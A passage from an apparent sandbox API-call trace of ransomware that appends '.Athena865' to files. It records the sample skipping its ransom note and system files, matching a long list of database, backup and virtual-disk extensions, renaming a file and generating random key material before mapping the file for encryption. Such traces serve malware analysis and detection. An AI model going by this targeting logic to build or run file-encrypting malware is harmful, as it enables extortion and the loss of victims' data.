hHeap=0x4f0000) returned 1 [0132.856] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0132.856] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50d3a8 [0132.857] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0132.857] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50d3a8 | out: hHeap=0x4f0000) returned 1 [0132.857] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0132.857] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0132.857] CloseHandle (hObject=0x154) returned 1 [0132.857] CloseHandle (hObject=0x17c) returned 1 [0132.857] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540d48 | out: hHeap=0x4f0000) returned 1 [0132.857] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ec38 | out: hHeap=0x4f0000) returned 1 [0132.857] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0132.858] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7b853b00, ftCreationTime.dwHighDateTime=0x1bd4b14, ftLastAccessTime.dwLowDateTime=0x6cd8b0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7b853b00, ftLastWriteTime.dwHighDateTime=0x1bd4b14, nFileSizeHigh=0x0, nFileSizeLow=0x140c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PE00555_.WMF", cAlternateFileName="")) returned 1 [0132.858] lstrcmpiW (lpString1="PE00555_.WMF", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0132.858] lstrcmpiW (lpString1="PE00555_.WMF", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0132.858] lstrcpyW (in: lpString1=0x241e8ae, lpString2="PE00555_.WMF" | out: lpString1="PE00555_.WMF") returned="PE00555_.WMF" [0132.858] lstrlenW (lpString="PE00555_.WMF") returned 12 [0132.858] lstrlenW (lpString="Athena865") returned 9 [0132.858] lstrcmpiW (lpString1="0555_.WMF", lpString2="Athena865") returned -1 [0132.858] lstrlenW (lpString=".dll") returned 4 [0132.858] lstrcmpiW (lpString1="PE00555_.WMF", lpString2=".dll") returned 1 [0132.858] lstrlenW (lpString=".lnk") returned 4 [0132.858] lstrcmpiW (lpString1="PE00555_.WMF", lpString2=".lnk") returned 1 [0132.858] lstrlenW (lpString=".ini") returned 4 [0132.858] lstrcmpiW (lpString1="PE00555_.WMF", lpString2=".ini") returned 1 [0132.858] lstrlenW (lpString=".sys") returned 4 [0132.858] lstrcmpiW (lpString1="PE00555_.WMF", lpString2=".sys") returned 1 [0132.859] lstrlenW (lpString="PE00555_.WMF") returned 12 [0132.859] lstrlenW (lpString="bak") returned 3 [0132.859] lstrcmpiW (lpString1="WMF", lpString2="bak") returned 1 [0132.859] lstrlenW (lpString="ba_") returned 3 [0132.859] lstrcmpiW (lpString1="WMF", lpString2="ba_") returned 1 [0132.859] lstrlenW (lpString="dbb") returned 3 [0132.859] lstrcmpiW (lpString1="WMF", lpString2="dbb") returned 1 [0132.859] lstrlenW (lpString="vmdk") returned 4 [0132.859] lstrcmpiW (lpString1=".WMF", lpString2="vmdk") returned -1 [0132.859] lstrlenW (lpString="rar") returned 3 [0132.859] lstrcmpiW (lpString1="WMF", lpString2="rar") returned 1 [0132.859] lstrlenW (lpString="zip") returned 3 [0132.859] lstrcmpiW (lpString1="WMF", lpString2="zip") returned -1 [0132.859] lstrlenW (lpString="tgz") returned 3 [0132.859] lstrcmpiW (lpString1="WMF", lpString2="tgz") returned 1 [0132.859] lstrlenW (lpString="vbox") returned 4 [0132.859] lstrcmpiW (lpString1=".WMF", lpString2="vbox") returned -1 [0132.859] lstrlenW (lpString="vdi") returned 3 [0132.859] lstrcmpiW (lpString1="WMF", lpString2="vdi") returned 1 [0132.859] lstrlenW (lpString="vhd") returned 3 [0132.859] lstrcmpiW (lpString1="WMF", lpString2="vhd") returned 1 [0132.859] lstrlenW (lpString="vhdx") returned 4 [0132.859] lstrcmpiW (lpString1=".WMF", lpString2="vhdx") returned -1 [0132.859] lstrlenW (lpString="avhd") returned 4 [0132.859] lstrcmpiW (lpString1=".WMF", lpString2="avhd") returned -1 [0132.859] lstrlenW (lpString="db") returned 2 [0132.859] lstrcmpiW (lpString1="MF", lpString2="db") returned 1 [0132.859] lstrlenW (lpString="db2") returned 3 [0132.860] lstrcmpiW (lpString1="WMF", lpString2="db2") returned 1 [0132.860] lstrlenW (lpString="db3") returned 3 [0132.860] lstrcmpiW (lpString1="WMF", lpString2="db3") returned 1 [0132.860] lstrlenW (lpString="dbf") returned 3 [0132.860] lstrcmpiW (lpString1="WMF", lpString2="dbf") returned 1 [0132.860] lstrlenW (lpString="mdf") returned 3 [0132.860] lstrcmpiW (lpString1="WMF", lpString2="mdf") returned 1 [0132.860] lstrlenW (lpString="mdb") returned 3 [0132.860] lstrcmpiW (lpString1="WMF", lpString2="mdb") returned 1 [0132.860] lstrlenW (lpString="sql") returned 3 [0132.860] lstrcmpiW (lpString1="WMF", lpString2="sql") returned 1 [0132.860] lstrlenW (lpString="sqlite") returned 6 [0132.860] lstrcmpiW (lpString1="5_.WMF", lpString2="sqlite") returned -1 [0132.860] lstrlenW (lpString="sqlite3") returned 7 [0132.860] lstrcmpiW (lpString1="55_.WMF", lpString2="sqlite3") returned -1 [0132.860] lstrlenW (lpString="sqlitedb") returned 8 [0132.860] lstrcmpiW (lpString1="555_.WMF", lpString2="sqlitedb") returned -1 [0132.860] lstrlenW (lpString="xml") returned 3 [0132.860] lstrcmpiW (lpString1="WMF", lpString2="xml") returned -1 [0132.860] lstrlenW (lpString="$er") returned 3 [0132.860] lstrcmpiW (lpString1="WMF", lpString2="$er") returned 1 [0132.860] lstrlenW (lpString="4dd") returned 3 [0132.860] lstrcmpiW (lpString1="WMF", lpString2="4dd") returned 1 [0132.860] lstrlenW (lpString="4dl") returned 3 [0132.860] lstrcmpiW (lpString1="WMF", lpString2="4dl") returned 1 [0132.860] lstrlenW (lpString="^^^") returned 3 [0132.860] lstrcmpiW (lpString1="WMF", lpString2="^^^") returned 1 [0132.860] lstrlenW (lpString="abs") returned 3 [0132.860] lstrcmpiW (lpString1="WMF", lpString2="abs") returned 1 [0132.861] lstrlenW (lpString="abx") returned 3 [0132.861] lstrcmpiW (lpString1="WMF", lpString2="abx") returned 1 [0132.861] lstrlenW (lpString="accdb") returned 5 [0132.861] lstrcmpiW (lpString1="_.WMF", lpString2="accdb") returned -1 [0132.861] lstrlenW (lpString="accdc") returned 5 [0132.861] lstrcmpiW (lpString1="_.WMF", lpString2="accdc") returned -1 [0132.861] lstrlenW (lpString="accde") returned 5 [0132.861] lstrcmpiW (lpString1="_.WMF", lpString2="accde") returned -1 [0132.861] lstrlenW (lpString="accdr") returned 5 [0132.861] lstrcmpiW (lpString1="_.WMF", lpString2="accdr") returned -1 [0132.861] lstrlenW (lpString="accdt") returned 5 [0132.861] lstrcmpiW (lpString1="_.WMF", lpString2="accdt") returned -1 [0132.861] lstrlenW (lpString="accdw") returned 5 [0132.861] lstrcmpiW (lpString1="_.WMF", lpString2="accdw") returned -1 [0132.861] lstrlenW (lpString="accft") returned 5 [0132.861] lstrcmpiW (lpString1="_.WMF", lpString2="accft") returned -1 [0132.861] lstrlenW (lpString="adb") returned 3 [0132.861] lstrcmpiW (lpString1="WMF", lpString2="adb") returned 1 [0132.861] lstrlenW (lpString="adb") returned 3 [0132.861] lstrcmpiW (lpString1="WMF", lpString2="adb") returned 1 [0132.861] lstrlenW (lpString="ade") returned 3 [0132.861] lstrcmpiW (lpString1="WMF", lpString2="ade") returned 1 [0132.861] lstrlenW (lpString="adf") returned 3 [0132.861] lstrcmpiW (lpString1="WMF", lpString2="adf") returned 1 [0132.861] lstrlenW (lpString="adn") returned 3 [0132.861] lstrcmpiW (lpString1="WMF", lpString2="adn") returned 1 [0132.861] lstrlenW (lpString="adp") returned 3 [0132.861] lstrcmpiW (lpString1="WMF", lpString2="adp") returned 1 [0132.861] lstrlenW (lpString="alf") returned 3 [0132.862] lstrcmpiW (lpString1="WMF", lpString2="alf") returned 1 [0132.862] lstrlenW (lpString="ask") returned 3 [0132.862] lstrcmpiW (lpString1="WMF", lpString2="ask") returned 1 [0132.862] lstrlenW (lpString="btr") returned 3 [0132.862] lstrcmpiW (lpString1="WMF", lpString2="btr") returned 1 [0132.862] lstrlenW (lpString="cat") returned 3 [0132.862] lstrcmpiW (lpString1="WMF", lpString2="cat") returned 1 [0132.862] lstrlenW (lpString="cdb") returned 3 [0132.862] lstrcmpiW (lpString1="WMF", lpString2="cdb") returned 1 [0132.862] lstrlenW (lpString="ckp") returned 3 [0132.862] lstrcmpiW (lpString1="WMF", lpString2="ckp") returned 1 [0132.862] lstrlenW (lpString="cma") returned 3 [0132.862] lstrcmpiW (lpString1="WMF", lpString2="cma") returned 1 [0132.862] lstrlenW (lpString="cpd") returned 3 [0132.862] lstrcmpiW (lpString1="WMF", lpString2="cpd") returned 1 [0132.862] lstrlenW (lpString="dacpac") returned 6 [0132.862] lstrcmpiW (lpString1="5_.WMF", lpString2="dacpac") returned -1 [0132.862] lstrlenW (lpString="dad") returned 3 [0132.862] lstrcmpiW (lpString1="WMF", lpString2="dad") returned 1 [0132.862] lstrlenW (lpString="dadiagrams") returned 10 [0132.862] lstrcmpiW (lpString1="00555_.WMF", lpString2="dadiagrams") returned -1 [0132.862] lstrlenW (lpString="daschema") returned 8 [0132.862] lstrcmpiW (lpString1="555_.WMF", lpString2="daschema") returned -1 [0132.862] lstrlenW (lpString="db-journal") returned 10 [0132.862] lstrcmpiW (lpString1="00555_.WMF", lpString2="db-journal") returned -1 [0132.862] lstrlenW (lpString="db-shm") returned 6 [0132.862] lstrcmpiW (lpString1="5_.WMF", lpString2="db-shm") returned -1 [0132.862] lstrlenW (lpString="db-wal") returned 6 [0132.862] lstrcmpiW (lpString1="5_.WMF", lpString2="db-wal") returned -1 [0132.862] lstrlenW (lpString="dbc") returned 3 [0132.863] lstrcmpiW (lpString1="WMF", lpString2="dbc") returned 1 [0132.863] lstrlenW (lpString="dbs") returned 3 [0132.863] lstrcmpiW (lpString1="WMF", lpString2="dbs") returned 1 [0132.863] lstrlenW (lpString="dbt") returned 3 [0132.863] lstrcmpiW (lpString1="WMF", lpString2="dbt") returned 1 [0132.863] lstrlenW (lpString="dbv") returned 3 [0132.863] lstrcmpiW (lpString1="WMF", lpString2="dbv") returned 1 [0132.863] lstrlenW (lpString="dbx") returned 3 [0132.863] lstrcmpiW (lpString1="WMF", lpString2="dbx") returned 1 [0132.863] lstrlenW (lpString="dcb") returned 3 [0132.863] lstrcmpiW (lpString1="WMF", lpString2="dcb") returned 1 [0132.863] lstrlenW (lpString="dct") returned 3 [0132.863] lstrcmpiW (lpString1="WMF", lpString2="dct") returned 1 [0132.863] lstrlenW (lpString="dcx") returned 3 [0132.863] lstrcmpiW (lpString1="WMF", lpString2="dcx") returned 1 [0132.863] lstrlenW (lpString="ddl") returned 3 [0132.863] lstrcmpiW (lpString1="WMF", lpString2="ddl") returned 1 [0132.863] lstrlenW (lpString="dlis") returned 4 [0132.863] lstrcmpiW (lpString1=".WMF", lpString2="dlis") returned -1 [0132.863] lstrlenW (lpString="dp1") returned 3 [0132.863] lstrcmpiW (lpString1="WMF", lpString2="dp1") returned 1 [0132.863] lstrlenW (lpString="dqy") returned 3 [0132.863] lstrcmpiW (lpString1="WMF", lpString2="dqy") returned 1 [0132.863] lstrlenW (lpString="dsk") returned 3 [0132.863] lstrcmpiW (lpString1="WMF", lpString2="dsk") returned 1 [0132.863] lstrlenW (lpString="dsn") returned 3 [0132.863] lstrcmpiW (lpString1="WMF", lpString2="dsn") returned 1 [0132.863] lstrlenW (lpString="dtsx") returned 4 [0132.864] lstrcmpiW (lpString1=".WMF", lpString2="dtsx") returned -1 [0132.864] lstrlenW (lpString="dxl") returned 3 [0132.864] lstrcmpiW (lpString1="WMF", lpString2="dxl") returned 1 [0132.864] lstrlenW (lpString="eco") returned 3 [0132.864] lstrcmpiW (lpString1="WMF", lpString2="eco") returned 1 [0132.864] lstrlenW (lpString="ecx") returned 3 [0132.864] lstrcmpiW (lpString1="WMF", lpString2="ecx") returned 1 [0132.864] lstrlenW (lpString="edb") returned 3 [0132.864] lstrcmpiW (lpString1="WMF", lpString2="edb") returned 1 [0132.864] lstrlenW (lpString="epim") returned 4 [0132.864] lstrcmpiW (lpString1=".WMF", lpString2="epim") returned -1 [0132.864] lstrlenW (lpString="fcd") returned 3 [0132.864] lstrcmpiW (lpString1="WMF", lpString2="fcd") returned 1 [0132.864] lstrlenW (lpString="fdb") returned 3 [0132.864] lstrcmpiW (lpString1="WMF", lpString2="fdb") returned 1 [0132.864] lstrlenW (lpString="fic") returned 3 [0132.864] lstrcmpiW (lpString1="WMF", lpString2="fic") returned 1 [0132.864] lstrlenW (lpString="flexolibrary") returned 12 [0132.864] lstrlenW (lpString="fm5") returned 3 [0132.864] lstrcmpiW (lpString1="WMF", lpString2="fm5") returned 1 [0132.864] lstrlenW (lpString="fmp") returned 3 [0132.864] lstrcmpiW (lpString1="WMF", lpString2="fmp") returned 1 [0132.864] lstrlenW (lpString="fmp12") returned 5 [0132.864] lstrcmpiW (lpString1="_.WMF", lpString2="fmp12") returned -1 [0132.864] lstrlenW (lpString="fmpsl") returned 5 [0132.864] lstrcmpiW (lpString1="_.WMF", lpString2="fmpsl") returned -1 [0132.864] lstrlenW (lpString="fol") returned 3 [0132.864] lstrcmpiW (lpString1="WMF", lpString2="fol") returned 1 [0132.864] lstrlenW (lpString="fp3") returned 3 [0132.865] lstrcmpiW (lpString1="WMF", lpString2="fp3") returned 1 [0132.865] lstrlenW (lpString="fp4") returned 3 [0132.865] lstrcmpiW (lpString1="WMF", lpString2="fp4") returned 1 [0132.865] lstrlenW (lpString="fp5") returned 3 [0132.865] lstrcmpiW (lpString1="WMF", lpString2="fp5") returned 1 [0132.865] lstrlenW (lpString="fp7") returned 3 [0132.865] lstrcmpiW (lpString1="WMF", lpString2="fp7") returned 1 [0132.865] lstrlenW (lpString="fpt") returned 3 [0132.865] lstrcmpiW (lpString1="WMF", lpString2="fpt") returned 1 [0132.865] lstrlenW (lpString="frm") returned 3 [0132.865] lstrcmpiW (lpString1="WMF", lpString2="frm") returned 1 [0132.865] lstrlenW (lpString="gdb") returned 3 [0132.865] lstrcmpiW (lpString1="WMF", lpString2="gdb") returned 1 [0132.865] lstrlenW (lpString="gdb") returned 3 [0132.865] lstrcmpiW (lpString1="WMF", lpString2="gdb") returned 1 [0132.865] lstrlenW (lpString="grdb") returned 4 [0132.865] lstrcmpiW (lpString1=".WMF", lpString2="grdb") returned -1 [0132.865] lstrlenW (lpString="gwi") returned 3 [0132.865] lstrcmpiW (lpString1="WMF", lpString2="gwi") returned 1 [0132.865] lstrlenW (lpString="hdb") returned 3 [0132.865] lstrcmpiW (lpString1="WMF", lpString2="hdb") returned 1 [0132.865] lstrlenW (lpString="his") returned 3 [0132.865] lstrcmpiW (lpString1="WMF", lpString2="his") returned 1 [0132.865] lstrlenW (lpString="ib") returned 2 [0132.865] lstrcmpiW (lpString1="MF", lpString2="ib") returned 1 [0132.865] lstrlenW (lpString="idb") returned 3 [0132.865] lstrcmpiW (lpString1="WMF", lpString2="idb") returned 1 [0132.865] lstrlenW (lpString="ihx") returned 3 [0132.865] lstrcmpiW (lpString1="WMF", lpString2="ihx") returned 1 [0132.866] lstrlenW (lpString="itdb") returned 4 [0132.866] lstrcmpiW (lpString1=".WMF", lpString2="itdb") returned -1 [0132.866] lstrlenW (lpString="itw") returned 3 [0132.866] lstrcmpiW (lpString1="WMF", lpString2="itw") returned 1 [0132.866] lstrlenW (lpString="jet") returned 3 [0132.866] lstrcmpiW (lpString1="WMF", lpString2="jet") returned 1 [0132.866] lstrlenW (lpString="jtx") returned 3 [0132.866] lstrcmpiW (lpString1="WMF", lpString2="jtx") returned 1 [0132.866] lstrlenW (lpString="kdb") returned 3 [0132.866] lstrcmpiW (lpString1="WMF", lpString2="kdb") returned 1 [0132.866] lstrlenW (lpString="kexi") returned 4 [0132.866] lstrcmpiW (lpString1=".WMF", lpString2="kexi") returned -1 [0132.866] lstrlenW (lpString="kexic") returned 5 [0132.866] lstrcmpiW (lpString1="_.WMF", lpString2="kexic") returned -1 [0132.866] lstrlenW (lpString="kexis") returned 5 [0132.866] lstrcmpiW (lpString1="_.WMF", lpString2="kexis") returned -1 [0132.866] lstrlenW (lpString="lgc") returned 3 [0132.866] lstrcmpiW (lpString1="WMF", lpString2="lgc") returned 1 [0132.866] lstrlenW (lpString="lwx") returned 3 [0132.866] lstrcmpiW (lpString1="WMF", lpString2="lwx") returned 1 [0132.866] lstrlenW (lpString="maf") returned 3 [0132.866] lstrcmpiW (lpString1="WMF", lpString2="maf") returned 1 [0132.866] lstrlenW (lpString="maq") returned 3 [0132.866] lstrcmpiW (lpString1="WMF", lpString2="maq") returned 1 [0132.866] lstrlenW (lpString="mar") returned 3 [0132.866] lstrcmpiW (lpString1="WMF", lpString2="mar") returned 1 [0132.866] lstrlenW (lpString="marshal") returned 7 [0132.866] lstrcmpiW (lpString1="55_.WMF", lpString2="marshal") returned -1 [0132.866] lstrlenW (lpString="mas") returned 3 [0132.866] lstrcmpiW (lpString1="WMF", lpString2="mas") returned 1 [0132.867] lstrlenW (lpString="mav") returned 3 [0132.867] lstrcmpiW (lpString1="WMF", lpString2="mav") returned 1 [0132.867] lstrlenW (lpString="maw") returned 3 [0132.867] lstrcmpiW (lpString1="WMF", lpString2="maw") returned 1 [0132.867] lstrlenW (lpString="mdbhtml") returned 7 [0132.867] lstrcmpiW (lpString1="55_.WMF", lpString2="mdbhtml") returned -1 [0132.867] lstrlenW (lpString="mdn") returned 3 [0132.867] lstrcmpiW (lpString1="WMF", lpString2="mdn") returned 1 [0132.867] lstrlenW (lpString="mdt") returned 3 [0132.867] lstrcmpiW (lpString1="WMF", lpString2="mdt") returned 1 [0132.867] lstrlenW (lpString="mfd") returned 3 [0132.867] lstrcmpiW (lpString1="WMF", lpString2="mfd") returned 1 [0132.867] lstrlenW (lpString="mpd") returned 3 [0132.867] lstrcmpiW (lpString1="WMF", lpString2="mpd") returned 1 [0132.867] lstrlenW (lpString="mrg") returned 3 [0132.867] lstrcmpiW (lpString1="WMF", lpString2="mrg") returned 1 [0132.867] lstrlenW (lpString="mud") returned 3 [0132.867] lstrcmpiW (lpString1="WMF", lpString2="mud") returned 1 [0132.867] lstrlenW (lpString="mwb") returned 3 [0132.867] lstrcmpiW (lpString1="WMF", lpString2="mwb") returned 1 [0132.867] lstrlenW (lpString="myd") returned 3 [0132.867] lstrcmpiW (lpString1="WMF", lpString2="myd") returned 1 [0132.867] lstrlenW (lpString="ndf") returned 3 [0132.867] lstrcmpiW (lpString1="WMF", lpString2="ndf") returned 1 [0132.867] lstrlenW (lpString="nnt") returned 3 [0132.867] lstrcmpiW (lpString1="WMF", lpString2="nnt") returned 1 [0132.867] lstrlenW (lpString="nrmlib") returned 6 [0132.867] lstrcmpiW (lpString1="5_.WMF", lpString2="nrmlib") returned -1 [0132.868] lstrlenW (lpString="ns2") returned 3 [0132.868] lstrcmpiW (lpString1="WMF", lpString2="ns2") returned 1 [0132.868] lstrlenW (lpString="ns3") returned 3 [0132.868] lstrcmpiW (lpString1="WMF", lpString2="ns3") returned 1 [0132.868] lstrlenW (lpString="ns4") returned 3 [0132.868] lstrcmpiW (lpString1="WMF", lpString2="ns4") returned 1 [0132.868] lstrlenW (lpString="nsf") returned 3 [0132.868] lstrcmpiW (lpString1="WMF", lpString2="nsf") returned 1 [0132.868] lstrlenW (lpString="nv") returned 2 [0132.868] lstrcmpiW (lpString1="MF", lpString2="nv") returned -1 [0132.868] lstrlenW (lpString="nv2") returned 3 [0132.868] lstrcmpiW (lpString1="WMF", lpString2="nv2") returned 1 [0132.868] lstrlenW (lpString="nwdb") returned 4 [0132.868] lstrcmpiW (lpString1=".WMF", lpString2="nwdb") returned -1 [0132.868] lstrlenW (lpString="nyf") returned 3 [0132.868] lstrcmpiW (lpString1="WMF", lpString2="nyf") returned 1 [0132.868] lstrlenW (lpString="odb") returned 3 [0132.868] lstrcmpiW (lpString1="WMF", lpString2="odb") returned 1 [0132.868] lstrlenW (lpString="odb") returned 3 [0132.868] lstrcmpiW (lpString1="WMF", lpString2="odb") returned 1 [0132.868] lstrlenW (lpString="oqy") returned 3 [0132.868] lstrcmpiW (lpString1="WMF", lpString2="oqy") returned 1 [0132.868] lstrlenW (lpString="ora") returned 3 [0132.868] lstrcmpiW (lpString1="WMF", lpString2="ora") returned 1 [0132.868] lstrlenW (lpString="orx") returned 3 [0132.868] lstrcmpiW (lpString1="WMF", lpString2="orx") returned 1 [0132.868] lstrlenW (lpString="owc") returned 3 [0132.868] lstrcmpiW (lpString1="WMF", lpString2="owc") returned 1 [0132.868] lstrlenW (lpString="p96") returned 3 [0132.869] lstrcmpiW (lpString1="WMF", lpString2="p96") returned 1 [0132.869] lstrlenW (lpString="p97") returned 3 [0132.869] lstrcmpiW (lpString1="WMF", lpString2="p97") returned 1 [0132.869] lstrlenW (lpString="pan") returned 3 [0132.869] lstrcmpiW (lpString1="WMF", lpString2="pan") returned 1 [0132.869] lstrlenW (lpString="pdb") returned 3 [0132.869] lstrcmpiW (lpString1="WMF", lpString2="pdb") returned 1 [0132.869] lstrlenW (lpString="pdm") returned 3 [0132.869] lstrcmpiW (lpString1="WMF", lpString2="pdm") returned 1 [0132.869] lstrlenW (lpString="pnz") returned 3 [0132.869] lstrcmpiW (lpString1="WMF", lpString2="pnz") returned 1 [0132.869] lstrlenW (lpString="qry") returned 3 [0132.869] lstrcmpiW (lpString1="WMF", lpString2="qry") returned 1 [0132.869] lstrlenW (lpString="qvd") returned 3 [0132.869] lstrcmpiW (lpString1="WMF", lpString2="qvd") returned 1 [0132.869] lstrlenW (lpString="rbf") returned 3 [0132.869] lstrcmpiW (lpString1="WMF", lpString2="rbf") returned 1 [0132.869] lstrlenW (lpString="rctd") returned 4 [0132.869] lstrcmpiW (lpString1=".WMF", lpString2="rctd") returned -1 [0132.869] lstrlenW (lpString="rod") returned 3 [0132.869] lstrcmpiW (lpString1="WMF", lpString2="rod") returned 1 [0132.869] lstrlenW (lpString="rodx") returned 4 [0132.869] lstrcmpiW (lpString1=".WMF", lpString2="rodx") returned -1 [0132.869] lstrlenW (lpString="rpd") returned 3 [0132.869] lstrcmpiW (lpString1="WMF", lpString2="rpd") returned 1 [0132.869] lstrlenW (lpString="rsd") returned 3 [0132.869] lstrcmpiW (lpString1="WMF", lpString2="rsd") returned 1 [0132.869] lstrlenW (lpString="sas7bdat") returned 8 [0132.869] lstrcmpiW (lpString1="555_.WMF", lpString2="sas7bdat") returned -1 [0132.870] lstrlenW (lpString="sbf") returned 3 [0132.870] lstrcmpiW (lpString1="WMF", lpString2="sbf") returned 1 [0132.870] lstrlenW (lpString="scx") returned 3 [0132.870] lstrcmpiW (lpString1="WMF", lpString2="scx") returned 1 [0132.870] lstrlenW (lpString="sdb") returned 3 [0132.870] lstrcmpiW (lpString1="WMF", lpString2="sdb") returned 1 [0132.870] lstrlenW (lpString="sdc") returned 3 [0132.870] lstrcmpiW (lpString1="WMF", lpString2="sdc") returned 1 [0132.870] lstrlenW (lpString="sdf") returned 3 [0132.870] lstrcmpiW (lpString1="WMF", lpString2="sdf") returned 1 [0132.870] lstrlenW (lpString="sis") returned 3 [0132.870] lstrcmpiW (lpString1="WMF", lpString2="sis") returned 1 [0132.870] lstrlenW (lpString="spq") returned 3 [0132.870] lstrcmpiW (lpString1="WMF", lpString2="spq") returned 1 [0132.870] lstrlenW (lpString="te") returned 2 [0132.870] lstrcmpiW (lpString1="MF", lpString2="te") returned -1 [0132.870] lstrlenW (lpString="teacher") returned 7 [0132.870] lstrcmpiW (lpString1="55_.WMF", lpString2="teacher") returned -1 [0132.870] lstrlenW (lpString="tmd") returned 3 [0132.870] lstrcmpiW (lpString1="WMF", lpString2="tmd") returned 1 [0132.870] lstrlenW (lpString="tps") returned 3 [0132.870] lstrcmpiW (lpString1="WMF", lpString2="tps") returned 1 [0132.870] lstrlenW (lpString="trc") returned 3 [0132.870] lstrcmpiW (lpString1="WMF", lpString2="trc") returned 1 [0132.870] lstrlenW (lpString="trc") returned 3 [0132.870] lstrcmpiW (lpString1="WMF", lpString2="trc") returned 1 [0132.870] lstrlenW (lpString="trm") returned 3 [0132.870] lstrcmpiW (lpString1="WMF", lpString2="trm") returned 1 [0132.871] lstrlenW (lpString="udb") returned 3 [0132.871] lstrcmpiW (lpString1="WMF", lpString2="udb") returned 1 [0132.871] lstrlenW (lpString="udl") returned 3 [0132.871] lstrcmpiW (lpString1="WMF", lpString2="udl") returned 1 [0132.871] lstrlenW (lpString="usr") returned 3 [0132.871] lstrcmpiW (lpString1="WMF", lpString2="usr") returned 1 [0132.871] lstrlenW (lpString="v12") returned 3 [0132.871] lstrcmpiW (lpString1="WMF", lpString2="v12") returned 1 [0132.871] lstrlenW (lpString="vis") returned 3 [0132.871] lstrcmpiW (lpString1="WMF", lpString2="vis") returned 1 [0132.871] lstrlenW (lpString="vpd") returned 3 [0132.871] lstrcmpiW (lpString1="WMF", lpString2="vpd") returned 1 [0132.871] lstrlenW (lpString="vvv") returned 3 [0132.871] lstrcmpiW (lpString1="WMF", lpString2="vvv") returned 1 [0132.871] lstrlenW (lpString="wdb") returned 3 [0132.871] lstrcmpiW (lpString1="WMF", lpString2="wdb") returned 1 [0132.871] lstrlenW (lpString="wmdb") returned 4 [0132.871] lstrcmpiW (lpString1=".WMF", lpString2="wmdb") returned -1 [0132.871] lstrlenW (lpString="wrk") returned 3 [0132.871] lstrcmpiW (lpString1="WMF", lpString2="wrk") returned -1 [0132.871] lstrlenW (lpString="xdb") returned 3 [0132.871] lstrcmpiW (lpString1="WMF", lpString2="xdb") returned -1 [0132.871] lstrlenW (lpString="xld") returned 3 [0132.871] lstrcmpiW (lpString1="WMF", lpString2="xld") returned -1 [0132.871] lstrlenW (lpString="xmlff") returned 5 [0132.871] lstrcmpiW (lpString1="_.WMF", lpString2="xmlff") returned -1 [0132.871] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00555_.WMF.Athena865") returned 73 [0132.872] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00555_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00555_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00555_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00555_.wmf.athena865"), dwFlags=0x1) returned 1 [0132.873] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00555_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00555_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0132.873] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=5132) returned 1 [0132.873] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0132.873] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0132.873] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0132.873] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0132.874] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0132.874] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0132.874] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1710, lpName=0x0) returned 0x154 [0132.876] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1710) returned 0x100000 [0132.877] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0132.878] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0132.878] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0132.878] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540dc0 [0132.878] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540dc0 | out: hHeap=0x4f0000) returned 1 [0132.878] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 